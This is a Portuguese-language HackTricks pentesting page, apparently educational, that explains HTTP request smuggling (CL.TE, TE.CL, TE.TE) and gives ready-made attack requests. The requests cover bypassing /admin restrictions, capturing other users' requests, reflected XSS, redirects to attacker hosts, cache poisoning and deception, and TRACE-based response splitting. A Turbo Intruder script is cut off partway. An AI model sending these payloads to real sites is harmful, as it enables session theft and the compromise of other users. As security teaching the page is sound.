hacktricks/pentesting-web/http-request-smuggling/README.md

# HTTP Request Smuggling / Ataque de Desincronização HTTP

<details>

<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Outras maneiras de apoiar o HackTricks:

* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas dicas de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.

</details>

## O que é

Essa vulnerabilidade ocorre quando uma **desincronização** entre **proxies de front-end** e o **servidor back-end** permite que um **atacante** **envie** uma **requisição HTTP** que será **interpretada** como uma **única requisição** pelos **proxies de front-end** (balanceador de carga/proxy reverso) e **como 2 requisições** pelo **servidor back-end**.\
Isso permite que um usuário **modifique a próxima requisição que chega ao servidor back-end depois da dele**.

### Teoria

[Especificação RFC (2161)](https://tools.ietf.org/html/rfc2616)

> Se uma mensagem for recebida com um campo de cabeçalho Transfer-Encoding e um campo de cabeçalho Content-Length, este último DEVE ser ignorado.

**Content-Length**

> O cabeçalho de entidade Content-Length indica o tamanho do corpo da entidade, em bytes, enviado ao destinatário.

**Transfer-Encoding: chunked**

> O cabeçalho Transfer-Encoding especifica a forma de codificação usada para transferir com segurança o corpo da carga útil para o usuário.\
> Chunked significa que dados grandes são enviados em uma série de chunks.

### Realidade

O **Front-End** (um balanceador de carga / Proxy Reverso) **processa** o cabeçalho _**content-length**_ ou o cabeçalho _**transfer-encoding**_ e o **servidor Back-End** **processa o outro** provocando uma **desincronização** entre os 2 sistemas.\
Isso pode ser muito crítico, pois **um atacante poderá enviar uma requisição** para o proxy reverso que será **interpretada** pelo **servidor back-end como 2 requisições diferentes**. O **perigo** dessa técnica reside no fato de que o **servidor back-end interpretará a 2ª requisição injetada** como se ela **viesse do próximo cliente** e a **requisição real** desse cliente fará **parte** da **requisição injetada**.

### Particularidades

Lembre-se de que no HTTP **um caractere de nova linha é composto por 2 bytes:**

* **Content-Length**: Esse cabeçalho usa um **número decimal** para indicar o **número** de **bytes** do **corpo** da requisição. O corpo é esperado para terminar no último caractere, **uma nova linha não é necessária no final da requisição**.
* **Transfer-Encoding:** Esse cabeçalho usa no **corpo** um **número hexadecimal** para indicar o **número** de **bytes** do **próximo chunk**. O **chunk** deve **terminar** com uma **nova linha**, mas essa nova linha **não é contada** pelo indicador de comprimento. Esse método de transferência deve terminar com um **chunk de tamanho 0 seguido por 2 novas linhas**: `0`
* **Connection**: Com base em minha experiência, é recomendado usar **`Connection: keep-alive`** na primeira requisição do Request Smuggling.

## Exemplos Básicos

{% hint style="success" %}
Ao tentar explorar isso com o Burp Suite, **desative `Update Content-Length` e `Normalize HTTP/1 line endings`** no repeater porque alguns gadgets abusam de novas linhas, retornos de carro e comprimentos de conteúdo malformados.
{% endhint %}

Os ataques de desincronização de requisição HTTP são elaborados enviando requisições ambíguas que exploram discrepâncias na forma como os servidores de front-end e back-end interpretam os cabeçalhos `Content-Length` (CL) e `Transfer-Encoding` (TE). Esses ataques podem se manifestar de diferentes formas, principalmente como **CL.TE**, **TE.CL** e **TE.TE**. Cada tipo representa uma combinação única de como os servidores de front-end e back-end priorizam esses cabeçalhos. As vulnerabilidades surgem do processamento das mesmas requisições pelos servidores de maneiras diferentes, levando a resultados inesperados e potencialmente maliciosos.

### Exemplos Básicos de Tipos de Vulnerabilidades

![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)

#### Vulnerabilidade CL.TE (Content-Length usado pelo Front-End, Transfer-Encoding usado pelo Back-End)

* **Front-End (CL):** Processa a requisição com base no cabeçalho `Content-Length`.
* **Back-End (TE):** Processa a requisição com base no cabeçalho `Transfer-Encoding`.
* **Cenário de Ataque:**
* O atacante envia uma requisição em que o valor do cabeçalho `Content-Length` não corresponde ao comprimento real do conteúdo.
* O servidor de front-end encaminha a requisição inteira para o back-end, com base no valor de `Content-Length`.
* O servidor back-end processa a requisição como chunked devido ao cabeçalho `Transfer-Encoding: chunked`, interpretando os dados restantes como uma requisição separada e subsequente.
*   **Exemplo:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x
```

#### Vulnerabilidade TE.CL (Transfer-Encoding usado pelo Front-End, Content-Length usado pelo Back-End)

* **Front-End (TE):** Processa a requisição com base no cabeçalho `Transfer-Encoding`.
* **Back-End (CL):** Processa a requisição com base no cabeçalho `Content-Length`.
* **Cenário de Ataque:**
* O atacante envia uma requisição chunked em que o tamanho do chunk (`7b`) e o comprimento real do conteúdo (`Content-Length: 4`) não se alinham.
* O servidor de front-end, respeitando `Transfer-Encoding`, encaminha a requisição inteira para o back-end.
* O servidor back-end, respeitando `Content-Length`, processa apenas a parte inicial da requisição (`7b` bytes), deixando o restante como parte de uma subsequente requisição não intencional.
*   **Exemplo:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

```
#### Vulnerabilidade TE.TE (Transfer-Encoding usado por ambos, com obfuscação)

* **Servidores:** Ambos suportam `Transfer-Encoding`, mas um pode ser enganado para ignorá-lo por meio de obfuscação.
* **Cenário de Ataque:**
* O atacante envia uma solicitação com cabeçalhos de `Transfer-Encoding` obfuscados.
* Dependendo de qual servidor (front-end ou back-end) falha em reconhecer a obfuscação, uma vulnerabilidade CL.TE ou TE.CL pode ser explorada.
* A parte não processada da solicitação, conforme vista por um dos servidores, torna-se parte de uma solicitação subsequente, levando ao contrabando.
*   **Exemplo:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked
```

#### **Cenário CL.CL (Content-Length usado por ambos Front-End e Back-End):**

* Ambos os servidores processam a solicitação com base exclusivamente no cabeçalho `Content-Length`.
* Este cenário normalmente não leva ao contrabando, pois há alinhamento na forma como ambos os servidores interpretam o comprimento da solicitação.
*   **Exemplo:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Solicitação Normal
```

#### **Cenário CL != 0:**

* Refere-se a cenários em que o cabeçalho `Content-Length` está presente e tem um valor diferente de zero, indicando que o corpo da solicitação contém conteúdo.
* É crucial para entender e elaborar ataques de contrabando, pois influencia como os servidores determinam o final de uma solicitação.
*   **Exemplo:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Corpo Não Vazio
```

#### Quebrando o servidor web

Essa técnica também é útil em cenários onde é possível **quebrar um servidor web ao ler os dados HTTP iniciais** mas **sem fechar a conexão**. Dessa forma, o **corpo** da solicitação HTTP será considerado a **próxima solicitação HTTP**.

Por exemplo, como explicado neste [**artigo**](https://mizu.re/post/twisty-python), no Werkzeug era possível enviar alguns caracteres **Unicode** e fazer o servidor **quebrar**. No entanto, se a conexão HTTP foi criada com o cabeçalho **`Connection: keep-alive`**, o corpo da solicitação não será lido e a conexão ainda estará aberta, então o **corpo** da solicitação será tratado como a **próxima solicitação HTTP**.

#### Forçando via cabeçalhos hop-by-hop

Abusando dos cabeçalhos hop-by-hop, você poderia indicar ao proxy para **excluir o cabeçalho Content-Length ou Transfer-Encoding para que um contrabando de solicitação HTTP seja possível de ser abusado**.
```
Connection: Content-Length
```
Para **mais informações sobre cabeçalhos hop-by-hop** visite:

{% content-ref url="../abusing-hop-by-hop-headers.md" %}
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
{% endcontent-ref %}

## Encontrando HTTP Request Smuggling

A identificação de vulnerabilidades de HTTP request smuggling pode frequentemente ser alcançada usando técnicas de temporização, que dependem de observar quanto tempo o servidor leva para responder a solicitações manipuladas. Essas técnicas são particularmente úteis para detectar vulnerabilidades CL.TE e TE.CL. Além desses métodos, existem outras estratégias e ferramentas que podem ser usadas para encontrar tais vulnerabilidades:

### Encontrando Vulnerabilidades CL.TE Usando Técnicas de Temporização

* **Método:**
* Enviar uma solicitação que, se a aplicação for vulnerável, fará com que o servidor back-end espere por dados adicionais.
*   **Exemplo:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
```
* **Observação:**
* O servidor front-end processa a solicitação com base no `Content-Length` e interrompe a mensagem prematuramente.
* O servidor back-end, esperando uma mensagem segmentada, aguarda o próximo segmento que nunca chega, causando um atraso.
* **Indicadores:**
* Timeouts ou longos atrasos na resposta.
* Receber um erro 400 Bad Request do servidor back-end, às vezes com informações detalhadas do servidor.

### Encontrando Vulnerabilidades TE.CL Usando Técnicas de Temporização

* **Método:**
* Enviar uma solicitação que, se a aplicação for vulnerável, fará com que o servidor back-end espere por dados adicionais.
*   **Exemplo:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
```
* **Observação:**
* O servidor front-end processa a solicitação com base no `Transfer-Encoding` e encaminha a mensagem inteira.
* O servidor back-end, esperando uma mensagem com base no `Content-Length`, aguarda dados adicionais que nunca chegam, causando um atraso.

### Outros Métodos para Encontrar Vulnerabilidades

* **Análise Diferencial de Resposta:**
* Enviar versões ligeiramente variadas de uma solicitação e observar se as respostas do servidor diferem de maneira inesperada, indicando uma discrepância de análise.
* **Usando Ferramentas Automatizadas:**
* Ferramentas como a extensão 'HTTP Request Smuggler' do Burp Suite podem testar automaticamente essas vulnerabilidades enviando várias formas de solicitações ambíguas e analisando as respostas.
* **Testes de Variação de Content-Length:**
* Enviar solicitações com valores de `Content-Length` variados que não estão alinhados com o comprimento real do conteúdo e observar como o servidor lida com tais discrepâncias.
* **Testes de Variação de Transfer-Encoding:**
* Enviar solicitações com cabeçalhos de `Transfer-Encoding` obfuscados ou malformados e monitorar como os servidores front-end e back-end respondem de maneira diferente a essas manipulações.

### Testando a Vulnerabilidade de HTTP Request Smuggling

Após confirmar a eficácia das técnicas de temporização, é crucial verificar se as solicitações do cliente podem ser manipuladas. Um método direto é tentar envenenar suas solicitações, por exemplo, fazendo com que uma solicitação para `/` resulte em uma resposta 404. Os exemplos `CL.TE` e `TE.CL` discutidos anteriormente em [Exemplos Básicos](./#basic-examples) demonstram como envenenar uma solicitação do cliente para obter uma resposta 404, apesar do cliente tentar acessar um recurso diferente.

**Considerações Importantes**

Ao testar vulnerabilidades de request smuggling interferindo em outras solicitações, tenha em mente:

* **Conexões de Rede Distintas:** As solicitações "de ataque" e "normais" devem ser enviadas por conexões de rede separadas. Utilizar a mesma conexão para ambas não valida a presença da vulnerabilidade.
* **URL e Parâmetros Consistentes:** Procure usar URLs e nomes de parâmetros idênticos para ambas as solicitações. Aplicações modernas frequentemente roteiam solicitações para servidores back-end específicos com base em URL e parâmetros. Correspondendo a esses aumenta a probabilidade de que ambas as solicitações sejam processadas pelo mesmo servidor, um requisito para um ataque bem-sucedido.
* **Temporização e Condições de Corrida:** A solicitação "normal", destinada a detectar interferência da solicitação "de ataque", compete contra outras solicitações concorrentes da aplicação. Portanto, envie a solicitação "normal" imediatamente após a solicitação "de ataque". Aplicações ocupadas podem exigir múltiplas tentativas para confirmar a vulnerabilidade de forma conclusiva.
* **Desafios de Balanceamento de Carga:** Servidores front-end atuando como balanceadores de carga podem distribuir solicitações entre vários sistemas back-end. Se as solicitações "de ataque" e "normais" acabarem em sistemas diferentes, o ataque não terá sucesso. Este aspecto de balanceamento de carga pode exigir várias tentativas para confirmar uma vulnerabilidade.
* **Impacto Não Intencional no Usuário:** Se seu ataque impactar inadvertidamente a solicitação de outro usuário (não a solicitação "normal" que você enviou para detecção), isso indica que seu ataque influenciou outro usuário da aplicação. Testes contínuos podem perturbar outros usuários, exigindo uma abordagem cautelosa.

## Abusando do HTTP Request Smuggling

### Contornando a Segurança Front-End via HTTP Request Smuggling

Às vezes, proxies front-end aplicam medidas de segurança, analisando as solicitações recebidas. No entanto, essas medidas podem ser contornadas explorando o HTTP Request Smuggling, permitindo acesso não autorizado a endpoints restritos. Por exemplo, acessar `/admin` pode ser proibido externamente, com o proxy front-end bloqueando ativamente tais tentativas. No entanto, esse proxy pode negligenciar a inspeção de solicitações incorporadas dentro de uma solicitação HTTP contrabandeada, deixando uma brecha para contornar essas restrições.

Considere os exemplos a seguir ilustrando como o HTTP Request Smuggling pode ser usado para contornar controles de segurança front-end, visando especificamente o caminho `/admin` que geralmente é protegido pelo proxy front-end:

**Exemplo CL.TE**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=
```
No ataque CL.TE, o cabeçalho `Content-Length` é aproveitado para a requisição inicial, enquanto a requisição incorporada subsequente utiliza o cabeçalho `Transfer-Encoding: chunked`. O proxy de front-end processa a requisição `POST` inicial, mas falha em inspecionar a requisição `GET /admin` incorporada, permitindo acesso não autorizado ao caminho `/admin`.

**Exemplo TE.CL**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

```
Por outro lado, no ataque TE.CL, o pedido `POST` inicial usa `Transfer-Encoding: chunked`, e o pedido incorporado subsequente é processado com base no cabeçalho `Content-Length`. Semelhante ao ataque CL.TE, o proxy de front-end ignora o pedido `GET /admin` contrabandeado, concedendo inadvertidamente acesso ao caminho restrito `/admin`.

### Revelando a reescrita de pedido de front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>

As aplicações frequentemente empregam um **servidor de front-end** para modificar os pedidos recebidos antes de enviá-los ao servidor de back-end. Uma modificação típica envolve adicionar cabeçalhos, como `X-Forwarded-For: <IP do cliente>`, para transmitir o IP do cliente ao back-end. Compreender essas modificações pode ser crucial, pois pode revelar maneiras de **burlar proteções** ou **descobrir informações ou endpoints ocultos**.

Para investigar como um proxy altera um pedido, localize um parâmetro POST que o back-end ecoa na resposta. Em seguida, crie um pedido, usando este parâmetro por último, semelhante ao seguinte:
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=
```
Nesta estrutura, os componentes de solicitação subsequentes são anexados após `search=`, que é o parâmetro refletido na resposta. Essa reflexão exporá os cabeçalhos da solicitação subsequente.

É importante alinhar o cabeçalho `Content-Length` da solicitação aninhada com o comprimento real do conteúdo. Começar com um valor pequeno e incrementar gradualmente é aconselhável, pois um valor muito baixo truncará os dados refletidos, enquanto um valor muito alto pode fazer com que a solicitação apresente erro.

Essa técnica também é aplicável no contexto de uma vulnerabilidade TE.CL, mas a solicitação deve terminar com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.

Este método serve principalmente para entender as modificações de solicitação feitas pelo proxy de front-end, essencialmente realizando uma investigação autodirigida.

### Capturando solicitações de outros usuários <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>

É viável capturar as solicitações do próximo usuário anexando uma solicitação específica como o valor de um parâmetro durante uma operação POST. Veja como isso pode ser feito:
```
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```
Neste cenário, o **parâmetro de comentário** destina-se a armazenar o conteúdo dentro da seção de comentários de uma postagem em uma página de acesso público. Consequentemente, o conteúdo da solicitação subsequente aparecerá como um comentário.

No entanto, essa técnica tem limitações. Geralmente, ela captura dados apenas até o delimitador de parâmetro usado na solicitação contrabandeada. Para envios de formulários codificados em URL, esse delimitador é o caractere `&`. Isso significa que o conteúdo capturado da solicitação do usuário vítima será interrompido no primeiro `&`, que pode até fazer parte da string de consulta.

Além disso, vale ressaltar que essa abordagem também é viável com uma vulnerabilidade TE.CL. Em tais casos, a solicitação deve ser concluída com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.

### Usando contrabando de solicitação HTTP para explorar XSS refletido

O Contrabando de Solicitação HTTP pode ser aproveitado para explorar páginas da web vulneráveis a **XSS Refletido**, oferecendo vantagens significativas:

* A interação com os usuários-alvo **não é necessária**.
* Permite a exploração de XSS em partes da solicitação que são **normalmente inatingíveis**, como os cabeçalhos de solicitação HTTP.

Em cenários em que um site é suscetível a XSS Refletido por meio do cabeçalho User-Agent, a carga útil a seguir demonstra como explorar essa vulnerabilidade:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=
```
Este payload é estruturado para explorar a vulnerabilidade através de:

1. Iniciar uma solicitação `POST`, aparentemente típica, com um cabeçalho `Transfer-Encoding: chunked` para indicar o início do smuggling.
2. Seguir com um `0`, marcando o final do corpo da mensagem chunked.
3. Em seguida, é introduzida uma solicitação `GET` contrabandeada, onde o cabeçalho `User-Agent` é injetado com um script, `<script>alert(1)</script>`, acionando o XSS quando o servidor processa essa solicitação subsequente.

Ao manipular o `User-Agent` através do smuggling, o payload contorna as restrições normais da solicitação, explorando assim a vulnerabilidade de XSS Refletido de uma maneira não padrão, mas eficaz.

#### HTTP/0.9

{% hint style="danger" %}
No caso em que o conteúdo do usuário é refletido em uma resposta com um **`Content-type`** como **`text/plain`**, impedindo a execução do XSS. Se o servidor suportar **HTTP/0.9, pode ser possível contornar isso**!
{% endhint %}

A versão HTTP/0.9 foi anterior à 1.0 e usa apenas verbos **GET** e **não** responde com **cabeçalhos**, apenas o corpo.

Neste [**artigo**](https://mizu.re/post/twisty-python), isso foi abusado com um smuggling de solicitação e um **ponto final vulnerável que responderá com a entrada do usuário** para contrabandear uma solicitação com HTTP/0.9. O parâmetro que será refletido na resposta continha uma **resposta falsa HTTP/1.1 (com cabeçalhos e corpo)**, então a resposta conterá código JS executável válido com um `Content-Type` de `text/html`.

### Explorando Redirecionamentos no Local com HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>

As aplicações frequentemente redirecionam de uma URL para outra usando o nome do host do cabeçalho `Host` na URL de redirecionamento. Isso é comum em servidores web como Apache e IIS. Por exemplo, solicitar uma pasta sem uma barra final resulta em um redirecionamento para incluir a barra:
```
GET /home HTTP/1.1
Host: normal-website.com
```
Resultados em:
```
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
Embora aparentemente inofensivo, esse comportamento pode ser manipulado usando o contrabando de solicitações HTTP para redirecionar usuários para um site externo. Por exemplo:
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
Esta solicitação contrabandeada poderia fazer com que a próxima solicitação de usuário processada seja redirecionada para um site controlado pelo atacante:
```
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
```
Resultados em:
```
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
Neste cenário, a solicitação de um usuário para um arquivo JavaScript é sequestrada. O atacante pode potencialmente comprometer o usuário servindo JavaScript malicioso em resposta.

### Explorando a Poluição de Cache Web via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

A poluição de cache web pode ser executada se algum componente da **infraestrutura de front-end armazenar em cache conteúdo**, tipicamente para melhorar o desempenho. Ao manipular a resposta do servidor, é possível **poluir o cache**.

Anteriormente, observamos como as respostas do servidor poderiam ser alteradas para retornar um erro 404 (consulte [Exemplos Básicos](./#basic-examples)). Da mesma forma, é viável enganar o servidor para entregar o conteúdo `/index.html` em resposta a uma solicitação para `/static/include.js`. Consequentemente, o conteúdo `/static/include.js` é substituído no cache pelo de `/index.html`, tornando o `/static/include.js` inacessível aos usuários, potencialmente levando a uma Negação de Serviço (DoS).

Essa técnica se torna particularmente potente se uma **vulnerabilidade de Redirecionamento Aberto** for descoberta ou se houver um **redirecionamento no local para um redirecionamento aberto**. Tais vulnerabilidades podem ser exploradas para substituir o conteúdo em cache de `/static/include.js` por um script sob o controle do atacante, essencialmente permitindo um ataque generalizado de Cross-Site Scripting (XSS) contra todos os clientes que solicitam o `/static/include.js` atualizado.

Abaixo está uma ilustração da exploração da **poluição de cache combinada com um redirecionamento no local para um redirecionamento aberto**. O objetivo é alterar o conteúdo em cache de `/static/include.js` para servir código JavaScript controlado pelo atacante:
```
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1
```
Observe o pedido incorporado direcionado para `/post/next?postId=3`. Este pedido será redirecionado para `/post?postId=4`, utilizando o **valor do cabeçalho Host** para determinar o domínio. Ao alterar o **cabeçalho Host**, o atacante pode redirecionar o pedido para seu domínio (**redirecionamento no local para redirecionamento aberto**).

Após o **envenenamento de soquete** bem-sucedido, um **pedido GET** para `/static/include.js` deve ser iniciado. Este pedido será contaminado pelo pedido anterior de **redirecionamento no local para redirecionamento aberto** e buscará o conteúdo do script controlado pelo atacante.

Posteriormente, qualquer pedido para `/static/include.js` servirá o conteúdo em cache do script do atacante, lançando efetivamente um amplo ataque XSS.

### Usando o contrabando de pedido HTTP para realizar a decepção de cache da web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>

> **Qual é a diferença entre envenenamento de cache da web e decepção de cache da web?**
>
> * No **envenenamento de cache da web**, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e esse conteúdo é servido a partir do cache para outros usuários da aplicação.
> * Na **decepção de cache da web**, o atacante faz com que a aplicação armazene algum conteúdo sensível pertencente a outro usuário no cache, e o atacante então recupera esse conteúdo do cache.

O atacante elabora um pedido contrabandeado que busca conteúdo sensível específico do usuário. Considere o exemplo a seguir:
```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
Se esta solicitação contrabandeada envenenar um registro de cache destinado a conteúdo estático (por exemplo, `/someimage.png`), os dados sensíveis da vítima de `/private/messages` podem ser armazenados em cache sob o registro de cache do conteúdo estático. Consequentemente, o atacante poderia potencialmente recuperar esses dados sensíveis armazenados em cache.

### Abusando do TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

[**Neste post**](https://portswigger.net/research/trace-desync-attack) é sugerido que se o servidor tiver o método TRACE habilitado, poderia ser possível abusar dele com um HTTP Request Smuggling. Isso ocorre porque esse método refletirá qualquer cabeçalho enviado para o servidor como parte do corpo da resposta. Por exemplo:
```
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
Irá enviar uma resposta como:
```
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
Um exemplo de como abusar desse comportamento seria **contrabandear primeiro uma solicitação HEAD**. Esta solicitação será respondida apenas com os **cabeçalhos** de uma solicitação GET (**`Content-Type`** entre eles). E contrabandear **imediatamente após o HEAD uma solicitação TRACE**, que estará **refletindo os dados enviados**.\
Como a resposta HEAD conterá um cabeçalho `Content-Length`, a **resposta da solicitação TRACE será tratada como o corpo da resposta HEAD, refletindo assim dados arbitrários** na resposta. \
Essa resposta será enviada para a próxima solicitação pela conexão, então isso poderia ser **usado em um arquivo JS em cache, por exemplo, para injetar código JS arbitrário**.

### Abusando do TRACE via Divisão de Resposta HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

Continuar seguindo [**este post**](https://portswigger.net/research/trace-desync-attack) é sugerido outro modo de abusar do método TRACE. Como comentado, contrabandear uma solicitação HEAD e uma solicitação TRACE é possível **controlar alguns dados refletidos** na resposta à solicitação HEAD. O comprimento do corpo da solicitação HEAD é basicamente indicado no cabeçalho Content-Length e é formado pela resposta à solicitação TRACE.

Portanto, a nova ideia seria que, sabendo esse Content-Length e os dados fornecidos na resposta TRACE, é possível fazer com que a resposta TRACE contenha uma resposta HTTP válida após o último byte do Content-Length, permitindo que um atacante controle completamente a solicitação para a próxima resposta (que poderia ser usada para realizar um envenenamento de cache).

Exemplo:
```
GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
Irá gerar essas respostas (observe como a resposta HEAD tem um Content-Length fazendo com que a resposta TRACE faça parte do corpo do HEAD e uma vez que o Content-Length do HEAD termina, uma resposta HTTP válida é contrabandeada):
```
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>
```
### Armar HTTP Request Smuggling com Desincronização de Resposta HTTP

Você encontrou alguma vulnerabilidade de HTTP Request Smuggling e não sabe como explorá-la. Experimente este outro método de exploração:

{% content-ref url="../http-response-smuggling-desync.md" %}
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
{% endcontent-ref %}

### Outras Técnicas de HTTP Request Smuggling

* HTTP Request Smuggling no Navegador (Lado do Cliente)

{% content-ref url="browser-http-request-smuggling.md" %}
[browser-http-request-smuggling.md](browser-http-request-smuggling.md)
{% endcontent-ref %}

* Request Smuggling em Downgrades HTTP/2

{% content-ref url="request-smuggling-in-http-2-downgrades.md" %}
[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
{% endcontent-ref %}

## Scripts do Turbo Intruder

### CL.TE

De [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
```python
def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

